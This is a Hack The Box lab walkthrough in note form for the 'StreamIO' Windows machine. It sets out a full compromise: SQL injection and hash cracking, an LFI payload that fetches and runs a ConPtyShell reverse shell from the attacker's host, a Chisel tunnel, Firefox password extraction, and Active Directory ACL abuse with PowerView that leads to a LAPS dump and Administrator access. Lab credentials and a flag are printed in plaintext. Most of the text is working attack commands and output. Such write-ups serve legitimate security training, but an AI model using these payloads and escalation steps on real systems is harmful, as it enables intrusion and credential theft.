🗣️Introduction For the next few HTB entries the post will simply be my notes from Obsidian converted to WordPress. This is due to recent time constraints with my personal life not providing enough time to write out full guides. I do see the usefulness in the post though as the tags and information allow me to quickly reference how I handled certain aspects in the past.
🔎🦶Enumeration/Foothold Syntax Highlighter
Port 80 shows IIS running on the box.
Port 443 – Sub-domain found:
HTTPS certificate shows sub-domain.
Syntax Highlighter
Introduction SQLMap Scan:
Syntax Highlighter
Ran Hashes against John/Crackstation:
Syntax Highlighter
Admin Panel – Shows a parameter per page:
Admin panel showing parameter per page.
Syntax Highlighter
Debug Parameter found and has LFI / Database Credentials:
Syntax Highlighter
Verifying LFI working on the parameter.
Index.php shows database credentials:
Syntax Highlighter
Syntax Highlighter
Further Discovery shows Master.php:
Syntax Highlighter
Master.php ‘Only accessible through Includes’:
Movie Management only accessible through includes.
Syntax Highlighter
Syntax Highlighter
Master shows a possible LFI on include. Exploit with Burp to confirm:
LFI on debug parameter via include.
Creating a Stable Reverse Shell:
Copy
Syntax Highlighter mkdir www && cd www
wget https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1
python -m SimpleHTTPServer 80
stty raw -echo; (stty size; cat) | nc -lvnp 4444 Syntax Highlighter POST /admin/?debug=master.php&cmd=powershell+iex+(New-Object+Net.WebClient).DownloadString('http%3a//10.10.14.4/Invoke-ConPtyShell.ps1')%3b+Invoke-ConPtyShell+10.10.14.4+9001 HTTP/2
Host: streamio.htb
Content-Length: 65
Cookie: PHPSESSID=3kmr8tnnb0tbfgk7ja1h9ud0f3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7
Setting up Chisel to Port Forward the Database as SQLMap showed two inaccessible databases:
Copy
Syntax Highlighter wget http://10.10.14.4/chisel.exe -o C:/downloads/crx/chisel.exe
.\chisel client 10.10.14.4:9002 R:1433:127.0.0.1:1433 Copy
Syntax Highlighter chisel server --reverse --port 9002 Syntax Highlighter 2022/06/15 13:13:12 server: Reverse tunnelling enabled
2022/06/15 13:13:12 server: Fingerprint 8hr6U7Rtz4GTUmKf16k2AkQeZxR0nJ05UryvsmoG+mE=
2022/06/15 13:13:12 server: Listening on http://0.0.0.0:9002
2022/06/15 13:13:52 server: session#1: Client version (1.7.7) differs from server version (0.0.0-src)
2022/06/15 13:13:52 server: session#1: tun: proxy#R:1433=>1433: Listening
Copy
Syntax Highlighter wget http://10.10.14.4/chisel.exe -o C:/downloads/crx/chisel.exe
.\chisel client 10.10.14.4:9002 R:1433:127.0.0.1:1433 Syntax Highlighter sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
[snip]
nikk37
389d14cb8e4e9b94b137deb1caf0612a
[snip]
Used Crackstation / John cracking to confirm:
Copy
Syntax Highlighter john hash2 --wordlist=/opt/seclists/Passwords/Leaked-Databases/rockyou.txt --format='dynamic=md5($p)' Syntax Highlighter Using default input encoding: UTF-8
Loaded 1 password hash (dynamic=md5($p) [256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
get_dem_girls2@yahoo.com (?)
1g 0:00:00:00 DONE (2022-06-21 11:33) 4.166g/s 32942Kp/s 32942Kc/s 32942KC/s getbent99..germilee
Use the "--show --format=dynamic=md5($p)" options to display all of the cracked passwords reliably
Session completed.
WINRM – Getting User Flag:
Copy
Syntax Highlighter evil-winrm -i 10.10.11.158 -u streamIO.htb\\nikk37 -p "get_dem_girls2@yahoo.com"
cd "C:/Users/nikk37/Desktop/"
dir Syntax Highlighter *Evil-WinRM* PS C:\Users\nikk37> cd "C:/Users/nikk37/Desktop/"
*Evil-WinRM* PS C:\Users\nikk37\Desktop> dir
Directory: C:\Users\nikk37\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/21/2022 3:37 PM 34 user.txt
*Evil-WinRM* PS C:\Users\nikk37\Desktop> type user.txt
72ce9feb3b34c83e33869bef674bc8d4
🔝Escalation to Root
WinPEAS showing Firefox Credentials:
Copy
Syntax Highlighter upload winPEAS.bat winPEAS.bat
./winPEAS.bat
Compress-Archive "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release" C:\Downloads\profile.zip
download "C:/Downloads/profile.zip" profile.zip Syntax Highlighter [+] Files in registry that may contain credentials
[i] Searching specific files that may contains credentials.
[?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
[snip]
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\places.sqlite
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
Firefox – Dumpzilla didn’t work:
Copy
Syntax Highlighter python3 firefox_decrypt.py ~/htb/boxes/streamio/www/br53rxeg.default-release Syntax Highlighter Website: https://slack.streamio.htb
Username: 'admin'
Password: 'JDg0dd1s@d0p3cr3@t0r'
Website: https://slack.streamio.htb
Username: 'nikk37'
Password: 'n1kk1sd0p3t00:)'
Website: https://slack.streamio.htb
Username: 'yoshihide'
Password: 'paddpadd@12'
Website: https://slack.streamio.htb
Username: 'JDgodd'
Password: 'password@12'
Copy
Syntax Highlighter bloodhound-python -u JDgodd -p "JDg0dd1s@d0p3cr3@t0r" -ns 10.10.11.158 -d streamio.htb -c all
sudo neo4j start Syntax Highlighter INFO: Found AD domain: streamio.htb
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 8 users
INFO: Connecting to GC LDAP server: dc.streamio.htb
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
INFO: Done in 00M 11S
WriteOwner permission found on BloodHound.
Used WriteOwner to elevate my session:
Copy
Syntax Highlighter wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
upload PowerView.ps1
Import-Module "C:/Downloads/PowerView.ps1"
$username = "streamio\JDgodd"
$password = "JDg0dd1s@d0p3cr3@t0r"
$secure = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secure;
Add-DomainObjectAcl -Credential $credential -TargetIdentity "Core Staff" -principalidentity $username
Add-DomainGroupMember -identity "Core Staff" -members $username -credential $credential
Used Core Staff permission to grab LAPS:
BloodHound showing LAPS escalation.
Copy
Syntax Highlighter lapsdumper -u JDgodd -p "JDg0dd1s@d0p3cr3@t0r" -d streamio.htb Copy
Syntax Highlighter DC$:%&)WbLj3K74gCj Copy
Syntax Highlighter evil-winrm -i 10.10.11.158 -u Administrator -p "%&)WbLj3K74gCj"
type "C:/Users/Martin/Desktop/root.txt"